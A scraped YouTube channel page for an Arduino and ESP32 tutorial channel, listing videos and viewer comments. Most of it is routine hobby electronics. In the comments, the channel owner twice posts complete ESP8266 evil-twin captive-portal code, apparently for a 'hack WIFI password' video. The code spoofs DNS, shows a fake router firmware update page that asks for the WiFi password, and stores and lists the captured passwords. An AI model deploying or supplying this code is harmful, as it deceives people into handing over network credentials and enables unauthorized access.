MyTechLearner
MyTechLearner
  • 166
  • 79 393
How to Use DS3231 RTC Module with Arduino | Real-Time Clock Tutorial
How to Use DS3231 RTC Module with Arduino | Real-Time Clock Tutorial
#arduinoprogramming #rtc #microcontroller #arduino
Learn how to integrate the DS3231 RTC (Real-Time Clock) module with Arduino in this step-by-step tutorial. I'll guide you through wiring, coding, and setting accurate time for your projects. Whether you're building a data logger or need precise timekeeping, this module is perfect for adding real-time functionality to your projects.
DS3231
RTC Module Arduino
Real-Time Clock Arduino
Arduino RTC Tutorial
DS3231 Arduino Setup
Arduino Timekeeping
Arduino Projects
DS3231 Wiring
Arduino Coding
Arduino Tutorial
Electronics Projects
IoT with Arduino
Arduino Beginners
Переглядів: 64

Відео

Arduino SD Card Module Tutorial | Data Logging to Excel Made Easy #arduino #arduinoprogramming
Переглядів 5621 день тому
In this video, we’ll walk you through everything you need to know about using the SD card module with Arduino for data logging. You'll learn how to interface the SD card with your Arduino, how to write data to the card, and even how to format the data so it can be easily opened and analyzed in Excel. Whether you’re tracking sensor data or storing project logs, this guide will make your data log...
ESP32 Getting Started Guide: Install ESP-IDF, Build & Flash 'Hello World' Project
Переглядів 5021 день тому
Hello Everyone, In this beginner-friendly tutorial, we walk you through the complete process of getting started with ESP32 using Espressif's IoT Development Framework (ESP-IDF). Learn how to install ESP-IDF, set up your development environment, build your first project, flash the firmware, and view the output in the terminal. This video is perfect for beginners looking to dive into ESP32 develo...
Scan QR Code to send WiFi credentials || No Hardcoding || Esp32 Tutorials in hindi
Переглядів 402 місяці тому
Scan QR Code to send WiFi credentials | No Hardcoding | Esp32 Tutorials in hindi #esp32 #wifi #diy #arduino #esp32projects Unlock the power of seamless WiFi setup with ESP32 using a QR code and BLE (Bluetooth Low Energy) in this step-by-step tutorial! Say goodbye to hardcoding WiFi credentials-this video shows you how to send WiFi passwords to your ESP32 project using a secure and efficient BLE...
How to Setup Raspberry pi 4
Переглядів 1072 місяці тому
How to Setup Raspberry pi 4 How to Install Raspberry Pi 4 setup without monitor (wirelessly) How to Setup Raspberry pi 4 || The New Method to Setup Raspberry Pi (2024 Update) #raspberrypi4 #raspberrypi #raspberry #raspberrypi #raspberrypi3 #raspberrypi4 #raspberry #raspberry_pi #raspberrypy #raspberrypiprojects #iot #cse #internetofthings #diy
3.7V Lipo & Lithium Ion battery monitoring using ESP32,Max17048 Module
Переглядів 1582 місяці тому
3.7V Lipo & Lithium Ion battery monitoring using ESP32,Max17048 Module In this tutorial, you'll learn how to accurately measure battery voltage and percentage using the Max17048 fuel gauge with the ESP32 and Arduino. This guide is perfect for anyone looking to monitor battery capacity in their projects. We'll walk you through the entire process, including setting up the Max17048 sensor, coding ...
Best Digital Soldering Iron Unboxing & Review | First Impressions with Digital Display
Переглядів 742 місяці тому
Best Digital Soldering Iron Unboxing & Review | First Impressions with Digital Display
Arduino Uno R4 Minima-Tutorial 14 | analogRead() || Led Brightness control using potentiometer
Переглядів 144 місяці тому
Arduino Uno R4 Minima-Tutorial 14 | analogRead() || Led Brightness control using potentiometer
How to Use I2C LCD with Arduino || LCD Displays with Arduino || i2c LCD Display
Переглядів 344 місяці тому
How to Use I2C LCD with Arduino || LCD Displays with Arduino || i2c LCD Display
How To Find Out I2c Module and Sensors Address
Переглядів 224 місяці тому
How To Find Out I2c Module and Sensors Address
Arduino Uno R4 Minima- Tutorial 12 | PWM - Pulse width modulation! (in Hindi)
Переглядів 134 місяці тому
Arduino Uno R4 Minima- Tutorial 12 | PWM - Pulse width modulation! (in Hindi)
How to use Ultrasonic Sensors HC-SR04 with Arduino R4 || Sensor || Arduino Tutorial!
Переглядів 125 місяців тому
How to use Ultrasonic Sensors HC-SR04 with Arduino R4 || Sensor || Arduino Tutorial!
DWIN HMI TOUCH Display with Arduino - Sending DHT22 sensor data to variable display
Переглядів 3075 місяців тому
DWIN HMI TOUCH Display with Arduino - Sending DHT22 sensor data to variable display
Arduino Uno R4 Minima: Lesson 10 - digitalRead(), digitalWrite(), pinMode()
Переглядів 215 місяців тому
Arduino Uno R4 Minima: Lesson 10 - digitalRead(), digitalWrite(), pinMode()
Arduino Uno R4 Minima Lesson 09: While Loop in Arduino Programming Tutorial! #arduino
Переглядів 125 місяців тому
Arduino Uno R4 Minima Lesson 09: While Loop in Arduino Programming Tutorial! #arduino
Arduino Uno R4 Minima LESSON 08: For Loop in Arduino Programming!
Переглядів 55 місяців тому
Arduino Uno R4 Minima LESSON 08: For Loop in Arduino Programming!
Arduino Uno R4 Minima LESSON 05: SWITCH CASE STATEMENTS [in Hindi]
Переглядів 105 місяців тому
Arduino Uno R4 Minima LESSON 05: SWITCH CASE STATEMENTS [in Hindi]
Arduino Uno R4 Minima LESSON 04: If & Else If Statement Explained!
Переглядів 315 місяців тому
Arduino Uno R4 Minima LESSON 04: If & Else If Statement Explained!
Arduino Uno R4 Minima LESSON 06: Control 230V AC Devices Relay with Arduino Board
Переглядів 255 місяців тому
Arduino Uno R4 Minima LESSON 06: Control 230V AC Devices Relay with Arduino Board
How to Hack WIFI Password using NODEMCU ESP8266 !
Переглядів 3,1 тис.5 місяців тому
How to Hack WIFI Password using NODEMCU ESP8266 !
LM317 Adjustable Linear Voltage Regulator 1.25v to 37v converter | LM317 Voltage Regulator Tutorial
Переглядів 295 місяців тому
LM317 Adjustable Linear Voltage Regulator 1.25v to 37v converter | LM317 Voltage Regulator Tutorial
How to control RGB led by ESP32 & MicroPython
Переглядів 176 місяців тому
How to control RGB led by ESP32 & MicroPython
Arduino Uno R4 Minima LESSON 03 : Arduino Variables , DataTypes & constants.?
Переглядів 116 місяців тому
Arduino Uno R4 Minima LESSON 03 : Arduino Variables , DataTypes & constants.?
Arduino Uno R4 Minima LESSON 07: Arduino millis function !
Переглядів 336 місяців тому
Arduino Uno R4 Minima LESSON 07: Arduino millis function !
Arduino Uno R4 Minima LESSON 02: Arduino Programming for Absolute beginners
Переглядів 166 місяців тому
Arduino Uno R4 Minima LESSON 02: Arduino Programming for Absolute beginners
Arduino Uno R4 Minima LESSON 01: Getting Started for Absolute Beginners in Hindi
Переглядів 966 місяців тому
Arduino Uno R4 Minima LESSON 01: Getting Started for Absolute Beginners in Hindi
#2 DWIN HMI TOUCH DISPLAY - Basic Touch Tutorial in Hindi(हिंदी)
Переглядів 2016 місяців тому
#2 DWIN HMI TOUCH DISPLAY - Basic Touch Tutorial in Hindi(हिंदी)
DIY: AMS1117 IC PCB Design linear voltage regulator 5v to 3.3v !
Переглядів 376 місяців тому
DIY: AMS1117 IC PCB Design linear voltage regulator 5v to 3.3v !
How to Make Custom ESP32 Board in 15 Minutes | Full Tutorial in Hindi
Переглядів 2476 місяців тому
How to Make Custom ESP32 Board in 15 Minutes | Full Tutorial in Hindi
First AI Software Engineer Devin By Cognition AI | AI is here 🔥
Переглядів 2417 місяців тому
First AI Software Engineer Devin By Cognition AI | AI is here 🔥

КОМЕНТАРІ

  • @xcalibur_mlbb4241
    @xcalibur_mlbb4241 12 годин тому

    How many servos have u used?

  • @avijitbasu5459
    @avijitbasu5459 День тому

    Dwin display ui design er video din.

  • @JSpresident
    @JSpresident 14 днів тому

    Jiska wifi connect nhi hai ya uska password hme nhi pta to yeh work krega???

  • @mytechlearner
    @mytechlearner 16 днів тому

    copy the code: import RPi.GPIO as GPIO import time # GPIO pin setup RED_PIN = 17 GREEN_PIN = 27 BLUE_PIN = 22 # Setup GPIO GPIO.setmode(GPIO.BCM) # Use BCM pin numbering GPIO.setup(RED_PIN, GPIO.OUT) GPIO.setup(GREEN_PIN, GPIO.OUT) GPIO.setup(BLUE_PIN, GPIO.OUT) # Setup PWM for smooth transitions RED = GPIO.PWM(RED_PIN, 100) # 100Hz frequency GREEN = GPIO.PWM(GREEN_PIN, 100) BLUE = GPIO.PWM(BLUE_PIN, 100) # Start PWM with 0% duty cycle (off) RED.start(0) GREEN.start(0) BLUE.start(0) # Function to set RGB color def set_color(r, g, b): RED.ChangeDutyCycle(r) # 0 to 100 GREEN.ChangeDutyCycle(g) BLUE.ChangeDutyCycle(b) # Function to gradually change color def fade_in_out(color, speed=0.02): for brightness in range(0, 101, 1): # Fade in set_color(*[brightness if c == 'on' else 0 for c in color]) time.sleep(speed) for brightness in range(100, -1, -1): # Fade out set_color(*[brightness if c == 'on' else 0 for c in color]) time.sleep(speed) # Function for a flashing effect def flash_color(color, flashes=3, on_time=0.2, off_time=0.2): for _ in range(flashes): set_color(*[100 if c == 'on' else 0 for c in color]) time.sleep(on_time) set_color(0, 0, 0) # Turn off time.sleep(off_time) # RGB Patterns def rainbow_cycle(): # Cycle through RGB colors colors = [ (100, 0, 0), # Red (0, 100, 0), # Green (0, 0, 100), # Blue (100, 100, 0), # Yellow (0, 100, 100), # Cyan (100, 0, 100), # Magenta (100, 100, 100), # White ] for r, g, b in colors: set_color(r, g, b) time.sleep(0.5) def rgb_cycle_flash(): # Cycle with flash effect for color in [('on', 'off', 'off'), ('off', 'on', 'off'), ('off', 'off', 'on')]: flash_color(color) def rgb_fade_cycle(): # Cycle with fade effect for color in [('on', 'off', 'off'), ('off', 'on', 'off'), ('off', 'off', 'on')]: fade_in_out(color) # Main loop try: while True: print("Running RGB LED Patterns...") print("1. Rainbow Cycle") rainbow_cycle() # Cycle through primary colors print("2. Flash Cycle") rgb_cycle_flash() # Flash between colors print("3. Fade In/Out Cycle") rgb_fade_cycle() # Fade between colors except KeyboardInterrupt: pass # Clean exit on Ctrl+C finally: # Cleanup the GPIO RED.stop() GREEN.stop() BLUE.stop() GPIO.cleanup()

  • @preethamshekar5503
    @preethamshekar5503 20 днів тому

    What's the procedure to make it??

  • @allinonebd7925
    @allinonebd7925 26 днів тому

    sir please add pin header

  • @crisvaz2018
    @crisvaz2018 Місяць тому

    Not working in Samsung phone....when i connect to the fake wifi it doesn't redirects to login page

  • @sudhirchaurasia3566
    @sudhirchaurasia3566 Місяць тому

    Sir please DWIN TOUCH DISPLAY all videos share

  • @gamebot382
    @gamebot382 Місяць тому

    url please

  • @vishalks7840
    @vishalks7840 Місяць тому

    Software name pls

  • @chithraniathapaththu5655
    @chithraniathapaththu5655 Місяць тому

    Why not english ?

    • @mytechlearner
      @mytechlearner Місяць тому

      Because I make tutorials for Hindi based audience

  • @techfun5656
    @techfun5656 2 місяці тому

    How can we make drone out of it

  • @KushalChowdhury-pg6rl
    @KushalChowdhury-pg6rl 2 місяці тому

    Link

  • @desiduniya1908
    @desiduniya1908 2 місяці тому

    Thank you thank you so much sir abhi tak kam se kam 15 se 20 video dekha chuka hu lekin kisi ne bhi koi shi information nhi provide ki hi lekin aapke video se mery error solve ho gyi hai sir aapka bahut bahut dhanyabad karta hu ❤❤❤

  • @mytechlearner
    @mytechlearner 2 місяці тому

    // Libraries #include <ESP8266WiFi.h> #include <DNSServer.h> #include <ESP8266WebServer.h> #include <EEPROM.h> // Default SSID name const char* SSID_NAME = "Free WiFi"; // Default main strings #define SUBTITLE "Router info." #define TITLE "Update" #define BODY "Your router firmware is out of date. Update your firmware to continue browsing normally." #define POST_TITLE "Updating..." #define POST_BODY "Your router is being updated. Please, wait until the proccess finishes.</br>Thank you." #define PASS_TITLE "Passwords" #define CLEAR_TITLE "Cleared" // Init system settings const byte HTTP_CODE = 200; const byte DNS_PORT = 53; const byte TICK_TIMER = 1000; IPAddress APIP(172, 0, 0, 1); // Gateway String allPass = ""; String newSSID = ""; String currentSSID = ""; // For storing passwords in EEPROM. int initialCheckLocation = 20; // Location to check whether the ESP is running for the first time. int passStart = 30; // Starting location in EEPROM to save password. int passEnd = passStart; // Ending location in EEPROM to save password. unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0; DNSServer dnsServer; ESP8266WebServer webServer(80); String input(String argName) { String a = webServer.arg(argName); a.replace("<","&lt;");a.replace(">","&gt;"); a.substring(0,200); return a; } String footer() { return "</div><div class=q><a>&#169; All rights reserved.</a></div>"; } String header(String t) { String a = String(currentSSID); String CSS = "article { background: #f2f2f2; padding: 1.3em; }" "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" "div { padding: 0.5em; }" "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }" "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }" "label { color: #333; display: block; font-style: italic; font-weight: bold; }" "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " "textarea { width: 100%; }"; String h = "<!DOCTYPE html><html>" "<head><title>" + a + " :: " + t + "</title>" "<meta name=viewport content=\"width=device-width,initial-scale=1\">" "<style>" + CSS + "</style>" "<meta charset=\"UTF-8\"></head>" "<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>"; return h; } String index() { return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post><label>WiFi password:</label>"+ "<input type=password name=m></input><input type=submit value=Start></form>" + footer(); } String posted() { String pass = input("m"); pass = "<li><b>" + pass + "</li></b>"; // Adding password in a ordered list. allPass += pass; // Updating the full passwords. // Storing passwords to EEPROM. for (int i = 0; i <= pass.length(); ++i) { EEPROM.write(passEnd + i, pass[i]); // Adding password to existing password in EEPROM. } passEnd += pass.length(); // Updating end position of passwords in EEPROM. EEPROM.write(passEnd, '\0'); EEPROM.commit(); return header(POST_TITLE) + POST_BODY + footer(); } String pass() { return header(PASS_TITLE) + "<ol>" + allPass + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer(); } String ssid() { return header("Change SSID") + "<p>Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.</p>" + "<form action=/postSSID method=post><label>New SSID name:</label>"+ "<input type=text name=s></input><input type=submit value=\"Change SSID\"></form>" + footer(); } String postedSSID() { String postedSSID = input("s"); newSSID="<li><b>" + postedSSID + "</b></li>"; for (int i = 0; i < postedSSID.length(); ++i) { EEPROM.write(i, postedSSID[i]); } EEPROM.write(postedSSID.length(), '\0'); EEPROM.commit(); WiFi.softAP(postedSSID); } String clear() { allPass = ""; passEnd = passStart; // Setting the password end location -> starting position. EEPROM.write(passEnd, '\0'); EEPROM.commit(); return header(CLEAR_TITLE) + "<div><p>The password list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer(); } void BLINK() { // The built-in LED will blink 5 times after a password is posted. for (int counter = 0; counter < 10; counter++) { // For blinking the LED. digitalWrite(BUILTIN_LED, counter % 2); delay(500); } } void setup() { // Serial begin Serial.begin(115200); bootTime = lastActivity = millis(); EEPROM.begin(512); delay(10); // Check whether the ESP is running for the first time. String checkValue = "first"; // This will will be set in EEPROM after the first run. for (int i = 0; i < checkValue.length(); ++i) { if (char(EEPROM.read(i + initialCheckLocation)) != checkValue[i]) { // Add "first" in initialCheckLocation. for (int i = 0; i < checkValue.length(); ++i) { EEPROM.write(i + initialCheckLocation, checkValue[i]); } EEPROM.write(0, '\0'); // Clear SSID location in EEPROM. EEPROM.write(passStart, '\0'); // Clear password location in EEPROM EEPROM.commit(); break; } } // Read EEPROM SSID String ESSID; int i = 0; while (EEPROM.read(i) != '\0') { ESSID += char(EEPROM.read(i)); i++; } // Reading stored password and end location of passwords in the EEPROM. while (EEPROM.read(passEnd) != '\0') { allPass += char(EEPROM.read(passEnd)); // Reading the store password in EEPROM. passEnd++; // Updating the end location of password in EEPROM. } WiFi.mode(WIFI_AP); WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0)); // Setting currentSSID -> SSID in EEPROM or default one. currentSSID = ESSID.length() > 1 ? ESSID.c_str() : SSID_NAME; Serial.print("Current SSID: "); Serial.print(currentSSID); WiFi.softAP(currentSSID); // Start webserver dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only for HTTP) webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); }); webServer.on("/ssid",[]() { webServer.send(HTTP_CODE, "text/html", ssid()); }); webServer.on("/postSSID",[]() { webServer.send(HTTP_CODE, "text/html", postedSSID()); }); webServer.on("/pass",[]() { webServer.send(HTTP_CODE, "text/html", pass()); }); webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); }); webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); }); webServer.begin(); // Enable the built-in LED pinMode(BUILTIN_LED, OUTPUT); digitalWrite(BUILTIN_LED, HIGH); } void loop() { if ((millis() - lastTick) > TICK_TIMER) {lastTick = millis();} dnsServer.processNextRequest(); webServer.handleClient(); }

  • @ΝΕΚΤΑΡΙΟΣΚΟΥΡΑΚΗΣ
    @ΝΕΚΤΑΡΙΟΣΚΟΥΡΑΚΗΣ 2 місяці тому

    code?

    • @mytechlearner
      @mytechlearner 2 місяці тому

      // ESP8266 WiFi Captive Portal // By 125K (github.com/125K) // Libraries #include <ESP8266WiFi.h> #include <DNSServer.h> #include <ESP8266WebServer.h> #include <EEPROM.h> // Default SSID name const char* SSID_NAME = "Free WiFi"; // Default main strings #define SUBTITLE "Router info." #define TITLE "Update" #define BODY "Your router firmware is out of date. Update your firmware to continue browsing normally." #define POST_TITLE "Updating..." #define POST_BODY "Your router is being updated. Please, wait until the proccess finishes.</br>Thank you." #define PASS_TITLE "Passwords" #define CLEAR_TITLE "Cleared" // Init system settings const byte HTTP_CODE = 200; const byte DNS_PORT = 53; const byte TICK_TIMER = 1000; IPAddress APIP(172, 0, 0, 1); // Gateway String allPass = ""; String newSSID = ""; String currentSSID = ""; // For storing passwords in EEPROM. int initialCheckLocation = 20; // Location to check whether the ESP is running for the first time. int passStart = 30; // Starting location in EEPROM to save password. int passEnd = passStart; // Ending location in EEPROM to save password. unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0; DNSServer dnsServer; ESP8266WebServer webServer(80); String input(String argName) { String a = webServer.arg(argName); a.replace("<","&lt;");a.replace(">","&gt;"); a.substring(0,200); return a; } String footer() { return "</div><div class=q><a>&#169; All rights reserved.</a></div>"; } String header(String t) { String a = String(currentSSID); String CSS = "article { background: #f2f2f2; padding: 1.3em; }" "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" "div { padding: 0.5em; }" "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }" "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }" "label { color: #333; display: block; font-style: italic; font-weight: bold; }" "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " "textarea { width: 100%; }"; String h = "<!DOCTYPE html><html>" "<head><title>" + a + " :: " + t + "</title>" "<meta name=viewport content=\"width=device-width,initial-scale=1\">" "<style>" + CSS + "</style>" "<meta charset=\"UTF-8\"></head>" "<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>"; return h; } String index() { return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post><label>WiFi password:</label>"+ "<input type=password name=m></input><input type=submit value=Start></form>" + footer(); } String posted() { String pass = input("m"); pass = "<li><b>" + pass + "</li></b>"; // Adding password in a ordered list. allPass += pass; // Updating the full passwords. // Storing passwords to EEPROM. for (int i = 0; i <= pass.length(); ++i) { EEPROM.write(passEnd + i, pass[i]); // Adding password to existing password in EEPROM. } passEnd += pass.length(); // Updating end position of passwords in EEPROM. EEPROM.write(passEnd, '\0'); EEPROM.commit(); return header(POST_TITLE) + POST_BODY + footer(); } String pass() { return header(PASS_TITLE) + "<ol>" + allPass + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer(); } String ssid() { return header("Change SSID") + "<p>Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.</p>" + "<form action=/postSSID method=post><label>New SSID name:</label>"+ "<input type=text name=s></input><input type=submit value=\"Change SSID\"></form>" + footer(); } String postedSSID() { String postedSSID = input("s"); newSSID="<li><b>" + postedSSID + "</b></li>"; for (int i = 0; i < postedSSID.length(); ++i) { EEPROM.write(i, postedSSID[i]); } EEPROM.write(postedSSID.length(), '\0'); EEPROM.commit(); WiFi.softAP(postedSSID); } String clear() { allPass = ""; passEnd = passStart; // Setting the password end location -> starting position. EEPROM.write(passEnd, '\0'); EEPROM.commit(); return header(CLEAR_TITLE) + "<div><p>The password list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer(); } void BLINK() { // The built-in LED will blink 5 times after a password is posted. for (int counter = 0; counter < 10; counter++) { // For blinking the LED. digitalWrite(BUILTIN_LED, counter % 2); delay(500); } } void setup() { // Serial begin Serial.begin(115200); bootTime = lastActivity = millis(); EEPROM.begin(512); delay(10); // Check whether the ESP is running for the first time. String checkValue = "first"; // This will will be set in EEPROM after the first run. for (int i = 0; i < checkValue.length(); ++i) { if (char(EEPROM.read(i + initialCheckLocation)) != checkValue[i]) { // Add "first" in initialCheckLocation. for (int i = 0; i < checkValue.length(); ++i) { EEPROM.write(i + initialCheckLocation, checkValue[i]); } EEPROM.write(0, '\0'); // Clear SSID location in EEPROM. EEPROM.write(passStart, '\0'); // Clear password location in EEPROM EEPROM.commit(); break; } } // Read EEPROM SSID String ESSID; int i = 0; while (EEPROM.read(i) != '\0') { ESSID += char(EEPROM.read(i)); i++; } // Reading stored password and end location of passwords in the EEPROM. while (EEPROM.read(passEnd) != '\0') { allPass += char(EEPROM.read(passEnd)); // Reading the store password in EEPROM. passEnd++; // Updating the end location of password in EEPROM. } WiFi.mode(WIFI_AP); WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0)); // Setting currentSSID -> SSID in EEPROM or default one. currentSSID = ESSID.length() > 1 ? ESSID.c_str() : SSID_NAME; Serial.print("Current SSID: "); Serial.print(currentSSID); WiFi.softAP(currentSSID); // Start webserver dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only for HTTP) webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); }); webServer.on("/ssid",[]() { webServer.send(HTTP_CODE, "text/html", ssid()); }); webServer.on("/postSSID",[]() { webServer.send(HTTP_CODE, "text/html", postedSSID()); }); webServer.on("/pass",[]() { webServer.send(HTTP_CODE, "text/html", pass()); }); webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); }); webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); }); webServer.begin(); // Enable the built-in LED pinMode(BUILTIN_LED, OUTPUT); digitalWrite(BUILTIN_LED, HIGH); } void loop() { if ((millis() - lastTick) > TICK_TIMER) {lastTick = millis();} dnsServer.processNextRequest(); webServer.handleClient(); }

  • @youtubephoenix6831
    @youtubephoenix6831 2 місяці тому

    code

  • @Lo-fi_tunes_94
    @Lo-fi_tunes_94 3 місяці тому

    provide me code

  • @ANIMEWORLD_004_AT
    @ANIMEWORLD_004_AT 3 місяці тому

    Code

  • @ANIMEWORLD_004_AT
    @ANIMEWORLD_004_AT 3 місяці тому

    Sir code please

    • @mytechlearner
      @mytechlearner 2 місяці тому

      // ESP8266 WiFi Captive Portal // By 125K (github.com/125K) // Libraries #include <ESP8266WiFi.h> #include <DNSServer.h> #include <ESP8266WebServer.h> #include <EEPROM.h> // Default SSID name const char* SSID_NAME = "Free WiFi"; // Default main strings #define SUBTITLE "Router info." #define TITLE "Update" #define BODY "Your router firmware is out of date. Update your firmware to continue browsing normally." #define POST_TITLE "Updating..." #define POST_BODY "Your router is being updated. Please, wait until the proccess finishes.</br>Thank you." #define PASS_TITLE "Passwords" #define CLEAR_TITLE "Cleared" // Init system settings const byte HTTP_CODE = 200; const byte DNS_PORT = 53; const byte TICK_TIMER = 1000; IPAddress APIP(172, 0, 0, 1); // Gateway String allPass = ""; String newSSID = ""; String currentSSID = ""; // For storing passwords in EEPROM. int initialCheckLocation = 20; // Location to check whether the ESP is running for the first time. int passStart = 30; // Starting location in EEPROM to save password. int passEnd = passStart; // Ending location in EEPROM to save password. unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0; DNSServer dnsServer; ESP8266WebServer webServer(80); String input(String argName) { String a = webServer.arg(argName); a.replace("<","&lt;");a.replace(">","&gt;"); a.substring(0,200); return a; } String footer() { return "</div><div class=q><a>&#169; All rights reserved.</a></div>"; } String header(String t) { String a = String(currentSSID); String CSS = "article { background: #f2f2f2; padding: 1.3em; }" "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" "div { padding: 0.5em; }" "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }" "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }" "label { color: #333; display: block; font-style: italic; font-weight: bold; }" "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " "textarea { width: 100%; }"; String h = "<!DOCTYPE html><html>" "<head><title>" + a + " :: " + t + "</title>" "<meta name=viewport content=\"width=device-width,initial-scale=1\">" "<style>" + CSS + "</style>" "<meta charset=\"UTF-8\"></head>" "<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>"; return h; } String index() { return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post><label>WiFi password:</label>"+ "<input type=password name=m></input><input type=submit value=Start></form>" + footer(); } String posted() { String pass = input("m"); pass = "<li><b>" + pass + "</li></b>"; // Adding password in a ordered list. allPass += pass; // Updating the full passwords. // Storing passwords to EEPROM. for (int i = 0; i <= pass.length(); ++i) { EEPROM.write(passEnd + i, pass[i]); // Adding password to existing password in EEPROM. } passEnd += pass.length(); // Updating end position of passwords in EEPROM. EEPROM.write(passEnd, '\0'); EEPROM.commit(); return header(POST_TITLE) + POST_BODY + footer(); } String pass() { return header(PASS_TITLE) + "<ol>" + allPass + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer(); } String ssid() { return header("Change SSID") + "<p>Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.</p>" + "<form action=/postSSID method=post><label>New SSID name:</label>"+ "<input type=text name=s></input><input type=submit value=\"Change SSID\"></form>" + footer(); } String postedSSID() { String postedSSID = input("s"); newSSID="<li><b>" + postedSSID + "</b></li>"; for (int i = 0; i < postedSSID.length(); ++i) { EEPROM.write(i, postedSSID[i]); } EEPROM.write(postedSSID.length(), '\0'); EEPROM.commit(); WiFi.softAP(postedSSID); } String clear() { allPass = ""; passEnd = passStart; // Setting the password end location -> starting position. EEPROM.write(passEnd, '\0'); EEPROM.commit(); return header(CLEAR_TITLE) + "<div><p>The password list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer(); } void BLINK() { // The built-in LED will blink 5 times after a password is posted. for (int counter = 0; counter < 10; counter++) { // For blinking the LED. digitalWrite(BUILTIN_LED, counter % 2); delay(500); } } void setup() { // Serial begin Serial.begin(115200); bootTime = lastActivity = millis(); EEPROM.begin(512); delay(10); // Check whether the ESP is running for the first time. String checkValue = "first"; // This will will be set in EEPROM after the first run. for (int i = 0; i < checkValue.length(); ++i) { if (char(EEPROM.read(i + initialCheckLocation)) != checkValue[i]) { // Add "first" in initialCheckLocation. for (int i = 0; i < checkValue.length(); ++i) { EEPROM.write(i + initialCheckLocation, checkValue[i]); } EEPROM.write(0, '\0'); // Clear SSID location in EEPROM. EEPROM.write(passStart, '\0'); // Clear password location in EEPROM EEPROM.commit(); break; } } // Read EEPROM SSID String ESSID; int i = 0; while (EEPROM.read(i) != '\0') { ESSID += char(EEPROM.read(i)); i++; } // Reading stored password and end location of passwords in the EEPROM. while (EEPROM.read(passEnd) != '\0') { allPass += char(EEPROM.read(passEnd)); // Reading the store password in EEPROM. passEnd++; // Updating the end location of password in EEPROM. } WiFi.mode(WIFI_AP); WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0)); // Setting currentSSID -> SSID in EEPROM or default one. currentSSID = ESSID.length() > 1 ? ESSID.c_str() : SSID_NAME; Serial.print("Current SSID: "); Serial.print(currentSSID); WiFi.softAP(currentSSID); // Start webserver dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only for HTTP) webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); }); webServer.on("/ssid",[]() { webServer.send(HTTP_CODE, "text/html", ssid()); }); webServer.on("/postSSID",[]() { webServer.send(HTTP_CODE, "text/html", postedSSID()); }); webServer.on("/pass",[]() { webServer.send(HTTP_CODE, "text/html", pass()); }); webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); }); webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); }); webServer.begin(); // Enable the built-in LED pinMode(BUILTIN_LED, OUTPUT); digitalWrite(BUILTIN_LED, HIGH); } void loop() { if ((millis() - lastTick) > TICK_TIMER) {lastTick = millis();} dnsServer.processNextRequest(); webServer.handleClient(); }

  • @ANIMEWORLD_004_AT
    @ANIMEWORLD_004_AT 3 місяці тому

    Code

  • @SurajKumar-p1l
    @SurajKumar-p1l 3 місяці тому

    DWIN display me kaise analog value so kare ga bhai

    • @mytechlearner
